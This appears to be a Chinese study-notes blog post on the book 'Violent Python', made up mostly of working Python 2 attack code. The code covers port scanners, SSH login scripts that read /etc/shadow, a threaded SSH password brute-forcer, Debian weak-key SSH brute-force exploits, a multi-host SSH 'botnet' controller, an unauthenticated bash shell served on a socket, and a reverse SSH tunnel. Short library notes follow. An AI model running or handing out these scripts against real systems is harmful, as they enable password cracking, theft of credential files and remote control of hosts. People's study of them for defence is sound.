Violent python

编程入门 行业动态 更新时间:2024-10-07 06:37:48

<a href=https://www.elefans.com/category/jswz/34/1763824.html style=Violent python"/>

Violent python

文章目录

    • 端口扫描(socket版)
    • 端口扫描(nmap版)
    • SSH连接交互(pexpect版)
    • SSH连接交互(pxssh版)
    • SSH密码破解(pxssh版)
    • SSH弱私钥暴破
      • [漏洞说明](/)
      • 影响范围:
      • 代码(exploitdb版)
      • 代码(violent phython版)
    • SSH僵尸网络
    • 学到的知识
      • 信号量(Semaphore)和有界信号量(BoundedSenaphore)
      • 互斥锁
      • namp模块
      • pexpect模块

端口扫描(socket版)

import optparse
from socket import *
from threading import *
screenLock = Semaphore(value=1) #可以使用Lock()
def connScan(tgtHost, tgtPort):try:connSkt = socket(AF_INET, SOCK_STREAM)connSkt.connect((tgtHost, tgtPort))connSkt.send('ViolentPython\r\n')results = connSkt.recv(100)screenLock.acquire()print '[+]%d/tcp open'% tgtPortprint '[+] ' + str(results)except:screenLock.acquire()print '[-]%d/tcp closed'% tgtPortfinally:screenLock.release()connSkt.close()
def portScan(tgtHost, tgtPorts):try:tgtIP = gethostbyname(tgtHost)except:print "[-] Cannot resolve '%s': Unknown host"%tgtHostreturntry:tgtName = gethostbyaddr(tgtIP)print '\n[+] Scan Results for: ' + tgtName[0]except:print '\n[+] Scan Results for: ' + tgtIPsetdefaulttimeout(1)for tgtPort in tgtPorts:t = Thread(target=connScan, args=(tgtHost, int(tgtPort)))t.start()
def main():parser = optparse.OptionParser('usage%prog '+\'-H <target host> -p <target port>')parser.add_option('-H', dest='tgtHost', type='string', \help='specify target host')parser.add_option('-p', dest='tgtPort', type='string', \help='specify target port[s] separated by comma')(options, args) = parser.parse_args()tgtHost = options.tgtHosttgtPorts = str(options.tgtPort).split(', ')if (tgtHost == None) | (tgtPorts[0] == None):print parser.usageexit(0)portScan(tgtHost, tgtPorts)if __name__ == "__main__":main()

端口扫描(nmap版)

import nmap
import optparse
def nmapScan(tgtHost, tgtPort):nmScan = nmap.PortScanner()nmScan.scan(tgtHost, tgtPort)state=nmScan[tgtHost]['tcp'][int(tgtPort)]['state']print " [*] " + tgtHost + " tcp/"+tgtPort +" "+statedef main():parser = optparse.OptionParser('usage%prog '+\'-H <target host> -p <target port>')parser.add_option('-H', dest='tgtHost', type='string', \help='specify target host')parser.add_option('-p', dest='tgtPort', type='string', \help='specify target port[s] separated by comma')(options, args) = parser.parse_args()tgtHost = options.tgtHosttgtPorts = str(options.tgtPort).split(', ')if (tgtHost == None) | (tgtPorts[0] == None):print parser.usageexit(0)for tgtPort in tgtPorts:nmapScan(tgtHost, tgtPort)if __name__ == '__main__':main()

SSH连接交互(pexpect版)

import pexpect
PROMPT = ['# ', '>>> ', '> ', '\$ ']
def send_command(child, cmd):child.sendline(cmd)child.expect(PROMPT)print child.beforedef connect(user, host, password):ssh_newkey = 'Are you sure you want to continue connecting'connStr = 'ssh ' + user + '@' + hostchild = pexpect.spawn(connStr)ret = child.expect([pexpect.TIMEOUT, ssh_newkey, \'[P|p]assword:'])if ret == 0:print '[-] Error Connecting'returnif ret == 1:child.sendline('yes')ret = child.expect([pexpect.TIMEOUT, \'[P|p]assword:'])if ret == 0:print '[-] Error Connecting'returnchild.sendline(password)child.expect(PROMPT)return childdef main():host = 'localhost'user = 'root'password = 'toor'child = connect(user, host, password)send_command(child, 'cat /etc/shadow | grep root')if __name__ == '__main__':main()

SSH连接交互(pxssh版)

from pexpect import pxssh #与原书代码此处有差别
def send_command(s, cmd):s.sendline(cmd)s.prompt()print s.before
def connect(host, user, password):try:s = pxssh.pxssh()s.login(host, user, password)return sexcept:print '[-] Error Connecting'exit(0)
s = connect('127.0.0.1', 'root', 'toor')
send_command(s, 'cat /etc/shadow | grep root')

SSH密码破解(pxssh版)

原书代码:

from pexpect import pxssh
import optparse
import time
from threading import *
maxConnections = 5
connection_lock = BoundedSemaphore(value=maxConnections)#决定了最多同时开启5个线程
Found = False
Fails = 0
def connect(host, user, password, release):global Foundglobal Failstry:s = pxssh.pxssh()s.login(host, user, password)print '[+] Password Found:' + passwordFound = Trueexcept Exception, e:if 'read_nonblocking' in str(e):Fails += 1time.sleep(5)connect(host, user, password, False)elif 'synchronize with original prompt' in str(e):time.sleep(1)connect(host, user, password, False)finally:if release:connection_lock.release()def main():parser = optparse.OptionParser('usage%prog'+\'-H <target host> -u <user> -F <password list>')parser.add_option('-H', dest='tgtHost', type='string', \help='specify target host')parser.add_option('-F', dest='passwdFile', type='string', \help='specify password file')parser.add_option('-u', dest='user', type='string', \help='specify the user')(options, args) = parser.parse_args()host = options.tgtHostpasswdFile = options.passwdFileuser = options.userif host == None or passwdFile == None or user == None:print parser.usageexit(0)fn = open(passwdFile, 'r')for line in fn.readlines():if Found:print "[*] Exiting: Password Found"exit(0)if Fails > 5:print "[!] Exiting: Too Many Socket Timeouts"exit(0)connection_lock.acquire()password = line.strip('\r').strip('\n')print "[-] Testing: "+str(password)t = Thread(target=connect, args=(host, user, password, True))t.start()if __name__ == '__main__':main()

上诉代码在网络阻塞的情况下会一直递归调用connect方法无法停止,改进版如下:

from pexpect import pxssh
import optparse
import time
from threading import *
import sys
maxConnections = 5
connection_lock = BoundedSemaphore(value=maxConnections)
Found = Event()
Fails = 0
Fails1= 0
def connect(host, user, password, release):global Failsglobal Fails1if Fails > 5 or Fails1 > 5:print "[!] Exiting: Too Many Socket Timeouts"if release:connection_lock.release()return try:s = pxssh.pxssh()s.login(host, user, password)print '[+] Password Found:' + passwordFound.set()except Exception, e:if 'read_nonblocking' in str(e):Fails += 1time.sleep(5)connect(host, user, password, False)elif 'synchronize with original prompt' in str(e):Fails1 += 1time.sleep(1)connect(host, user, password, False)finally:if release:connection_lock.release()def main():parser = optparse.OptionParser('usage%s'%sys.argv[0]+\'-H <target host> -u <user> -F <password list>')parser.add_option('-H', dest='tgtHost', type='string', \help='specify target host')parser.add_option('-F', dest='passwdFile', type='string', \help='specify password file')parser.add_option('-u', dest='user', type='string', \help='specify the user')(options, args) = parser.parse_args()host = options.tgtHostpasswdFile = options.passwdFileuser = options.userif host == None or passwdFile == None or user == None:print parser.usageexit(0)fn = open(passwdFile, 'r')for line in fn.readlines():if Found.is_set():print "[*] Exiting: Password Found"exit(0)connection_lock.acquire()password = line.strip('\r').strip('\n')print "[-] Testing: "+str(password)t = Thread(target=connect, args=(host, user, password, True))t.start()if __name__ == '__main__':main()

SSH弱私钥暴破

漏洞说明

影响范围:

  • 时间:September 2006 - May 13th, 2008
  • 系统:Debian

代码(exploitdb版)

import Queue
import os
import string
import time
from threading import Thread
import sys#This class only has a boolean, which will be True if some thread find the key
class End():def __init__(self):self.end = Falsedef Finish(self):self.end = Truedef GetEnd(self):return self.end	#This is the thread class
class Connection(Thread):def __init__(self,QueueDir,TheEnd,dir,host,user,port='22'):Thread.__init__(self)self.QueueDir = QueueDirself.TheEnd = TheEndself.dir = dirself.host = hostself.user = userself.port = portdef run(self):while (not self.TheEnd.GetEnd()) and (not self.QueueDir.empty()):key = self.QueueDir.get()cmd = 'ssh -l ' + self.user cmd = cmd + ' -p ' + self.port cmd = cmd + ' -o PasswordAuthentication=no'cmd = cmd + ' -i ' + self.dir + '/' + key cmd = cmd + ' ' + self.host + ' exit; echo $?'pin,pout,perr = os.popen3(cmd, 'r')pin.close()#To debug descoment the next line. This will show the errors reported by ssh#print perr.read()if pout.read().lstrip().rstrip() == '0':self.TheEnd.Finish()print ''print 'Key Found in file: '+ keyprint 'Execute: ssh -l%s -p%s -i %s/%s %s' %(self.user,self.port,self.dir,key,self.host) print ''print '\n-OpenSSL Debian exploit- by ||WarCat team|| warcat.no-ip' if len(sys.argv) < 4:print './exploit.py <dir> <host> <user> [[port] [threads]]'print '    <dir>: Path to SSH privatekeys (ex. /home/john/keys) without final slash'print '    <host>: The victim host'print '    <user>: The user of the victim host'	print '    [port]: The SSH port of the victim host (default 22)'print '    [threads]: Number of threads (default 4) Too big numer is bad'sys.exit(1)dir = sys.argv[1]
host = sys.argv[2]
user = sys.argv[3]if len(sys.argv) <= 4: port='22'threads=4
else:if len(sys.argv) <=5:port=sys.argv[4]threads = 4else:port=sys.argv[4]	threads = sys.argv[5]ListDir = os.listdir(dir)
QueueDir=Queue.Queue()
TheEnd = End()for i in range(len(ListDir)):if ListDir[i].find('.pub') == -1:	QueueDir.put(ListDir[i])initsize = QueueDir.qsize()
tested = 0for i in range(0,int(threads)):Connection(QueueDir,TheEnd,dir,host,user,port).start()while (not TheEnd.GetEnd()) and (not QueueDir.empty()):time.sleep(5)actsize = QueueDir.qsize()speed = (initsize - tested - actsize)/5tested = initsize - actsizeprint 'Tested %i keys | Remaining %i keys | Aprox. Speed %i/sec' %(tested,actsize,speed) 

代码(violent phython版)

import pexpect
import optparse
import os
from threading import *
maxConnections = 5
connection_lock = BoundedSemaphore(value=maxConnections)
Stop = False
Fails = 0
def connect(user, host, keyfile, release):global Stopglobal Failstry:perm_denied = 'Permission denied'ssh_newkey = 'Are you sure you want to continue'conn_closed = 'Connection closed by remote host'opt = ' -o PasswordAuthentication=no'connStr = 'ssh ' + user +'@' + host + ' -i ' + keyfile + optchild = pexpect.spawn(connStr)ret = child.expect([pexpect.TIMEOUT, perm_denied, ssh_newkey, conn_closed, '$','#', ])if ret == 2:print '[-] Adding Host to ∼/.ssh/known_hosts'child.sendline('yes')connect(user, host, keyfile, False)elif ret == 3:print '[-] Connection Closed By Remote Host'Fails += 1elif ret > 3:print '[+] Success. ' + str(keyfile)Stop = Truefinally:if release:connection_lock.release()
def main():parser = optparse.OptionParser('usage%prog -H '+\'<target host> -u <user> -d <directory>')parser.add_option('-H', dest='tgtHost', type='string', \help='specify target host')parser.add_option('-d', dest='passDir', type='string', \help='specify directory with keys')parser.add_option('-u', dest='user', type='string', \help='specify the user')(options, args) = parser.parse_args()host = options.tgtHostpassDir = options.passDiruser = options.userif host == None or passDir == None or user == None:print parser.usageexit(0)for filename in os.listdir(passDir):if Stop:print '[*] Exiting: Key Found.'exit(0)if Fails > 5:print '[!] Exiting: '+\'Too Many Connections Closed By Remote Host.'print '[!] Adjust number of simultaneous threads.'exit(0)connection_lock.acquire()fullpath = os.path.join(passDir, filename)print '[-] Testing keyfile ' + str(fullpath)t = Thread(target=connect, args=(user, host, fullpath, True))child = t.start()
if __name__ == '__main__':
main()

SSH僵尸网络

import optparse
import pxssh
class Client:def __init__(self, host, user, password):self.host = hostself.user = userself.password = passwordself.session = self.connect()def connect(self):try:s = pxssh.pxssh()s.login(self.host, self.user, self.password)return sexcept Exception, e:print eprint '[-] Error Connecting'def send_command(self, cmd):self.session.sendline(cmd)self.session.prompt()return self.session.beforedef botnetCommand(command):for client in botNet:output = client.send_command(command)print '[*] Output from ' + client.hostprint '[+] ' + output + '\n'def addClient(host, user, password):client = Client(host, user, password)botNet.append(client)
botNet = []
addClient('10.10.10.110', 'root', 'toor')
addClient('10.10.10.120', 'root', 'toor')
addClient('10.10.10.130', 'root', 'toor')
botnetCommand('uname -v')
botnetCommand('cat /etc/issue')			

学到的知识

信号量(Semaphore)和有界信号量(BoundedSenaphore)

  1. 信号量的作用
    在多线程编程中多个线程需要协同工具,这就需要信号量来指导线程同步。
  2. 信号量和有界信号量的使用方式及差别
    在Python中信号量类与有界信号量类分别为threading.Semaphore()及threading.BoundedSemaphore(),使用方法及区别如下:

互斥锁

  1. 信号量的作用
    在多线程编程中多线程之间需要互斥的访问资源,因此需要互斥锁来实现这方面的要求。
  2. 互斥锁的使用
    在Python中互斥锁类为threading.Lock(),使用方法如下:

namp模块

  1. 简介

python-nmap is a python library which helps in using nmap port scanner.
It allows to easilly manipulate nmap scan results and will be a perfect
tool for systems administrators who want to automatize scanning task
and reports. It also supports nmap script outputs.

  1. 类与方法:
  • 所包含的类、属性与方法
  • PortScannerAsync类的介绍
  • PortScanner类的介绍
  • 两个类的差别
    PortScannerAsync
import nmap
nma = nmap.PortScannerAsync()
def callback_result(host, scan_result):print '------------------'print host, scan_result
nma.scan(hosts='127.0.0.1', arguments='-sV', callback=callback_result)
while nma.still_scanning():print("Waiting >>>")nma.wait(2)


PortScanner

import nmap
import pprint
s = nmap.PortScanner()
s.scan(hosts='127.0.0.1',  arguments='-sV')
print s.scaninfo()
print 'Done'


3. 其他类似库libnmap

  • 主页
  • 介绍

libnmap is a python toolkit for manipulating nmap. It currently offers the following modules:
process: enables you to launch nmap scans
parse: enables you to parse nmap reports or scan results (only XML so far) from a file, a string,…
report: enables you to manipulate a parsed scan result and de/serialize scan results in a json format
diff: enables you to see what changed between two scans
objects: contains basic nmap objects like NmapHost and NmapService. It is to note that each object can be “diff()ed” with another similar object.
report: contains NmapReport class definition
host: contains NmapHost class definition
service: contains NmapService class definition
os: contains NmapOSFingerprint class definition and some other classes like NmapOSMatch, NmapOSClass,…
cpe: contains CPE class defdinition
plugins: enables you to support datastores for your scan results directly in the “NmapReport” object from report module
mongodb: only plugin implemented so far, ultra basic, for POC purpose only
sqlalchemy: Allow to store/retreive NmapReport to sqlite/mysql/… all engine supported by sqlalchemy
rabbitMQ : todo
couchdb: todo
elastic search: todo
csv: todo

  • 列子(解析nmap扫描结果)
#-*- coding:utf-8 -*-
from libnmap.parser import NmapParser	 #导入相关模块
import getopt
import sys
#设置全局变量用于接受解析到的参数
summary = False
port = ''
os = ''
file_path=''
#参数解析
options,useless = getopt.getopt(sys.argv[1:],'f:sp:o:')
for i in options:if i[0] == '-s':summary = Trueelif i[0] == '-p':port = i[1]elif i[0] == '-f':file_path = i[1]else:os = i[1]report = NmapParser.parse_fromfile(file_path)		#解析数据#操作系统:主机信息字典system_map={}#端口:主机信息字典service_map={}#遍历解析结果中的主机for host in report.hosts:if len(host.os_class_probabilities()):	#判断主机的操作系统osfamily = host.os_class_probabilities()[0].osfamilyif system_map.has_key(osfamily):		#填充字典system_map[osfamily].append(osfamily+'\t'+host.os_class_probabilities()[0].osgen+'\t'+host.address)else:system_map[osfamily] = []system_map[osfamily].append(osfamily+'\t'+host.os_class_probabilities()[0].osgen+'\t'+host.address)for serv in host.services:		#遍历主机开启的服务key =  str(serv.port)if service_map.has_key(key):		#填充字典service_map[key].append(str(serv.port)+'\t'+host.address+'\t'+serv.protocol+'\t\t'+serv.state+'\t'+serv.service)else:service_map[key] = []service_map[key].append(str(serv.port)+'\t'+host.address+'\t'+serv.protocol+'\t\t'+serv.state+'\t'+serv.service)
def get_summary():print '-----------------------------------------summary---------------------------------------------'print '                                     Total host:%d                                                              '%report.hosts_totalprint '                                     Hosts is up:%d                                                              '%report.hosts_upprint '                                     Hosts is down:%d                                                          '%report.hosts_downfor i in system_map.keys():print '                                     %d hosts is %s                                                   '%(len(system_map[i]),i)for i in service_map.keys():print '                                     %d hosts opened %s                                          '%(len(service_map[i]),i)print '\n\n'
def get_port():print '-----------------------------------------port  summary---------------------------------------------'print 'port\taddress\t\tprotocol\tstate\tservice'if service_map.has_key(port):for i in service_map[port]:print iprint '\n\n'
def get_os():print '-----------------------------------------os  summary---------------------------------------------'print 'os\tosgen\tadress'    if system_map.has_key(os):for i in system_map[os]:print iprint '\n\n'if summary:get_summary()
if port:get_port()
if os:get_os()

pexpect模块

  1. 简介

Pexpect is a Python module for spawning child applications and controlling
them automatically. Pexpect can be used for automating interactive applications
such as ssh, ftp, passwd, telnet, etc. It can be used to a automate setup
scripts for duplicating software package installations on different servers. It
can be used for automated software testing. Pexpect is in the spirit of Don
Libes’ Expect, but Pexpect is pure Python. Other Expect-like modules for Python
require TCL and Expect or require C extensions to be compiled. Pexpect does not
use C, Expect, or TCL extensions. It should work on any platform that supports
the standard Python pty module. The Pexpect interface focuses on ease of use so
that simple tasks are easy.
There are two main interfaces to the Pexpect system; these are the function,
run() and the class, spawn. The spawn class is more powerful. The run()
function is simpler than spawn, and is good for quickly calling program. When
you call the run() function it executes a given program and then returns the
output. This is a handy replacement for os.system().

  1. 最大的特点就是可以更好的处理交互
  2. 应用(交互式shell)
import pexpect
import socket
import threadingserver = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(('0.0.0.0',5560))
server.listen(5)def getpromat():child = pexpect.spawn('/bin/bash') child.expect(' ')return childdef commcmd(cmd,child,promat):child.sendline(cmd)child.expect(cmd)child.expect("%s.*"%promat)def process(clien,adress):child = getpromat()init_promat = child.beforepromat = init_promat.split(':')[0]clien.sendall(init_promat)   while True:cmd = clien.recv(1000).strip('\r').strip('\n')print "Received "+ cmdif cmd == 'quit':clien.sendall("Exit.....")clien.close()break        commcmd(cmd,child,promat)clien.sendall(child.before)clien.sendall(child.after)         while True:client,adress = server.accept()t = threading.Thread(target=process,args=(client,adress))t.start()    

效果如下图:

参考:
API
探索 Pexpect,第 1 部分:剖析 Pexpect
探索 Pexpect,第 2 部分:Pexpect 的实例分析
4. 联想到paramiko

  • 介绍

Paramiko is a Python (2.7, 3.4+) implementation of the SSHv2 protocol [1], providing both client and server functionality. While it leverages a Python C extension for low level cryptography (Cryptography), Paramiko itself is a pure Python interface around SSH networking concepts.

  • 实例(反向TCP端口转发)
# -*- encoding:utf-8 -*-
import getpass
import socket
import select
import sys
import threading
import argparse
import paramikoSSH_PORT = 22
DEFAULT_PORT = 4000g_verbose = Truedef handler(chan,host,port):sock = socket.socket()try:sock.connect((host,port))except Exception as e:verbose('Forwarding request to %s:%d failed: %r'%(host,port,e))returnverbose('Connected! Tunnel open %r->%r->%r' % (chan.origin_addr,chan.getpeername(),str((host,port))))while True:r,w,x=select.select([sock,chan],[],[])if sock in r:data = sock.recv(1024)if len(data) == 0:breakchan.send(data)if chan in r:data = chan.recv(1024)if len(data) == 0:breaksock.send(data)chan.close()sock.close()verbose('Tunnel closed from %r' % (chan.origin_addr,))def reverse_forward_tunnel(server_port,remote_host,remote_port,transport):transport.request_port_forward('',server_port)while True:chan = transport.accept(1000)if chan is None:continuethr = threading.Thread(target=handler,args=(chan,remote_host,remote_port))thr.daemon = Truethr.start()def verbose(s):if g_verbose:print(s)HELP = """\
Set up a reverse forwarding tunnel across an SSH server, using paramiko. A
port on the SSH server (given with -p) is forwarded across an SSH session
back to the local machine, and out to a remote site reachable from this
network. This is similar to the openssh -R option."""def get_host_port(spec,default_port):"""Parse 'hostnaem:22' into a host and port,with the port optional"""args = (spec.split(':',1)+[default_port])[:2]args[1] = int(args[1])return (args[0],args[1])def parse_options():global g_verboseparser = argparse.ArgumentParser(usage="usage:%(prog)s[options]<ssh-server>[:<server-port>]",description=HELP)parser.add_argument('-q','--quiet',action='store_false',dest='verbose',default=True,help='squelch all information output')parser.add_argument('-p','--remote-port',action='store',type=int,dest='port',default=DEFAULT_PORT,help='port on server to forward (default:%d)' % DEFAULT_PORT)parser.add_argument('-u','--user',action='store',type=str,dest='user',default=getpass.getuser(),help='username for SSH authentication (default:%s)'%getpass.getuser())parser.add_argument('-K','--key',action='store',type=str,dest='keyfile',default=None,help="private key file to use for SSH authentication")parser.add_argument('-N','--no-key',action='store_false',dest='look_for_keys',default=True,help="don't look for or use a private key file")parser.add_argument('-P','--password',action='store_true',dest='readpass',default=False,help='read password (for key or password auth) from stdin')parser.add_argument('-r','--remote',action='store',type=str,dest='remote',default=None,metavar='host:post',help='remote host and port to forward to')options,args = parser.parse_known_args('172.16.3.45 -p 9000 -r 172.16.3.43:80 --user root --password'.split())if len(args) != 1:parser.error('Incorrect number of arguments.')if options.remote is None:parser.error('Remote address required (-r).')g_verbose = options.verboseserver_host,server_port = get_host_port(args[0],SSH_PORT)remote_host,remote_port = get_host_port(options.remote,SSH_PORT)return options,(server_host,server_port),(remote_host,remote_port)def main():options,server,remote = parse_options()password = Noneif options.readpass:password = getpass.getpass('Enter SSH password:')client = paramiko.SSHClient()client.load_system_host_keys()client.set_missing_host_key_policy(paramiko.WarningPolicy())verbose('Connecting to ssh host %s:%d...' % (server[0],server[1]))try:client.connect(server[0],server[1],username=options.user,key_filename=options.keyfile,look_for_keys=options.look_for_keys,password=password)except Exception as e:print("***Falied to connect to %s:%d :%r" % (server[0],server[1],e))sys.exit(1)verbose('Now forwarding remote port %d to %s:%d...'%(options.port,remote[0],remote[1]))try:reverse_forward_tunnel(options.port,remote[0],remote[1],client.get_transport())except KeyboardInterrupt:print("C-c:Port forwarding stopped.")sys.exit(0)if __name__ == '__main__':main()
  • 理解
    SSH建立过程及响应代码

    下图是对应于上述程序的五元组建立过程。

更多推荐

Violent python

本文发布于:2024-02-14 12:58:30,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/34/1763572.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:Violent   python

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!